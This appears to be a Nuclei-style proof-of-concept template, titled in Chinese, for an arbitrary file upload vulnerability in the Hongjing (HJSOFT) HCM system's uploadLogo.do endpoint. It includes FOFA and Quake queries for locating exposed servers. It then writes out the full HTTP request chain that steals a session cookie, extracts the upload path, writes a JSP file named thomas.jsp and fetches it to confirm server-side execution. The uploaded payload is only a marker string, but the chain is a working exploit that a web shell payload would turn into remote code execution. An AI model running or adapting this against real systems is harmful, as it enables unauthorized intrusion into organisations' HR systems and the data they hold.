宏景人力资源信息管理系统uploadLogo任意文件上传 PoC

fofa: app="HJSOFT-HCM"Quake：app:"宏景-HCM"

id: hjsoft-uploadLogo-fileuploadinfo:  name: 宏景uploadLogo任意文件上传漏洞  author: thomas  severity: critical  metadata:    fofa-query: app="HJSOFT-HCM"  tags: hjsoft,fileuploadrequests:  - raw:      - |        GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1        Host: {{Hostname}}      - |        POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1        Host: {{Hostname}}        Cookie: {{cookie}}        Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="path"        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="lfType"        0        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="logofile"; filename=""        Content-Type: image/gif        <%= "hjsoft-upload-test" %>        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="twoFile"; filename=""        Content-Type: image/gif        <%= "hjsoft-upload-test" %>        ------WebKitFormBoundaryk8DbZoq3wNm32b66--      - |        POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1        Host: {{Hostname}}        Cookie: {{cookie}}        Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="path"        {{filepath}}thomas.jsp        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="lfType"        0        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="logofile"; filename=""        Content-Type: image/gif        <%= "hjsoft-upload-test" %>        ------WebKitFormBoundaryk8DbZoq3wNm32b66        Content-Disposition: form-data; name="twoFile"; filename=""        Content-Type: image/gif        <%= "hjsoft-upload-test" %>        ------WebKitFormBoundaryk8DbZoq3wNm32b66--      - |        GET /thomas.jsp HTTP/1.1        Host: {{Hostname}}    extractors:      - type: regex        name: cookie        part: header        group: 1        internal: true        regex:          - "Set-Cookie: (.*?);"      - type: regex        name: filepath        part: body        group: 1        internal: true        regex:          - 'value="(.*?)images"'    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_4, 'hjsoft-upload-test')"